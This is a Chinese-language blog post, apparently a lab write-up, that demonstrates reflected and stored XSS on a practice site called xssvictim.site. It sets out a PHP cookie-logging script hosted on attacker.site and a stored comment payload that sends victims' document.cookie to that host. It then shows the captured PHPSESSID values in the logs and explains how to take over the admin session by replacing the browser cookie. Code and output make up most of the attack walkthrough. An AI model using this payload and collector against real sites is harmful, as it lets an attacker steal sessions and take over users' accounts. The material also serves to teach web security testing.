XSS

Posted by r3kind1e on June 29, 2022

XSS

目标网站:xssvictim.site

首先导航网站,寻找可能的漏洞的注入点。

在网站顶端有SEARCH字段,通常是我们测试的首要目标。

在BLOG页面,网站允许用户在制定的发布内容下面留言。

1
2
3
4
5
6
7
User:john-Object:Wow
They will regret this!

User:admin-Object:Great!
This is really nice post.

You need to be logged to write a comment!

现在,我们没有登录,所以不能评论。

使用反射性XSS向受害者打印消息

首先测试搜索框,看它是如何工作的。

输入android,看到有一个发布内容满足我们的查询。看查询结果的顶端,似乎我们的搜索输入也打印在了结果页面,这是web应用程序很常见的行为。

现在我们要做的是检查输入在被打印在页面之前是否被过滤。

1
<h1>Hi</hi>

似乎输入一点也没有被过滤。检查源码。

下一步是检查是否Javascipt代码也可以正常工作。

1
<script>alert('XSS');</script>

这证明应用程序并没有过滤任何输入,它有反射性XSS漏洞。

1
<script>alert(document.cookie)</script>

我们可以构造payload,然后让受害者点击包含payload的URL。

使用存储型XSS窃取admin的cookie,并且用他的session登录

我们可以构造javascript payload,获取受害者的cookie,并且发回给我们。

受害者登录了应用程序,我们能够获取他的cookies,我们能够冒充他的session,通过修改浏览器中的session cookie。

在这样做之前,首先检查BLOG中的评论,这也是有漏洞的。

点击LOGIN进行登录。首先,我们需要登录来写评论。我们以attacker的身份登录。

再次打开BLOG页面,现在,我们可以向应用程序中插入评论。

Object Enter your comment here 结果
Hi Test  
<h1>Hi</h1> test2 Object的输入被过滤,没有被解释为HTML标签
Test3 <h1>test3</h1> 应用程序解释的h1标签
test4 <script>alert('xss');</script> 浏览器出现了弹窗。因为是存储型XSS,这个消息会在我们每次加载页面的时候出现。使用我们删除这个post,否则,每次都会弹窗。

现在我们知道该应用既有反射性XSS,又有存储型XSS,让我们尝试利用该应用程序来窃取用户的cookies。

尝试在消息中打印cookie

Object Enter your comment here 结果
test5 <script>alert(document.cookie);</script> cookie出现在了弹窗中

窃取访问该页面用户的cookie。我们不想让受害者看见弹窗,所以不会使用alert函数。

我们要做的是,构建能发送cookie信息到我们拥有和控制的网站的exploit。

在看javascript payload之前,首先让我们检查攻击者服务器attacker.site上的代码get.php,这是我们用来将cookie存储在我们机器上的脚本。

1
2
3
4
5
6
7
8
9
10
11
<?php

$ip = $_SERVER['REMOTE_ADDR'];
$browser = $_SERVER['HTTP_USER_AGENT'];

$fp = fopen('jar.txt', 'a');

fwrite($fp, $ip.' '.$browser."\n");
fwrite($fp, urldecode($_SERVER['QUERY_STRING'])." \n\n");
fclose($fp);
?>

当然,我们打在打开jar.txt,可以看到它是空的:

1
attacker.site/jar.txt

然后我们在浏览器中打开这个脚本,看看会发生什么:

1
attacker.site/get.php?test=hereismydata

当页面加载,参数的内容会被保存在jar.txt文件中,和我们设置的其他信息一起。

所以,当我们打开attacker.site/jar.txt,可以看到如下字符串:

1
2
192.168.3.22 Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.3.0
test=hereismydata

既然我们在攻击者的网站上已经有了可以工作的脚本,让我们创建将插入到评论表单payload。

这个简单的脚本创建新的image对象,然后将图片地址设置为我们的网站链接。有了这个简单的代码,我们触发受害者的浏览器请求攻击者页面,并且发送cookie。

我们用escape函数来避免特殊字符可能破坏我们的链接。受害者完全不知道发生了什么。

1
<script>var i = new Image(); i.src="http://attacker.site/get.php?cookie="+escape(document.cookie)</script>

我们将这个脚本插入评论区。

由于网页会自动重新加载,如果它起作用了。我们需要设置将cookie存储在jar.txt文件中。

Object Enter your comment here
Hi all This is a very nice post!<script>var i = new Image(); i.src="http://attacker.site/get.php?cookie="+escape(document.cookie)</script>

刷新attacker.site/jar.txt

1
2
3
4
5
192.168.3.22 Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.3.0
test=hereismydata

192.168.3.22 Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.3.0
cookie=PHPSESSID=b647jora2blimcguvoubamlb82

所以这个exploit,每次用户加载blog.php页面,他的cookie会被发送到我们的脚本,我们能够读取它们。

打开一个New Private Window。让我们站在受害者浏览器的角度打开网站。

访问xssvictim.site,LOGIN。我们将以admin的身份登录,然后我们浏览blog.php页面。

我们可以看到,在受害者浏览器中没有发生任何奇怪的事情。所以用户并不知道发生了什么。

让我们返回jar.txt文件,看看我们收集到了什么。访问attacker.site/jar.txt

1
2
3
4
5
6
7
8
192.168.3.22 Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.3.0
test=hereismydata

192.168.3.22 Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.3.0
cookie=PHPSESSID=b647jora2blimcguvoubamlb82

192.168.3.22 Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.3.0
cookie=PHPSESSID=e6unaoterp5rlbjhr3i4l73bi5

我们成功的窃取了admin的cookie,现在我们需要在web应用程序假冒他的session,这意味着,我们会以admin的身份登录。

让我们复制该值,然后回到攻击者的浏览器。使用Firebug添加cookie,用将值替换成管理员的cookie。

我们当前登录身份是attacker,重新加载页面。可以看到,我们被身份验证为admin,因此在顶栏,我们可以看到ADMIN PAGE的新链接。

我们可以像往常一样导航web应用程序,以admin的身份登录。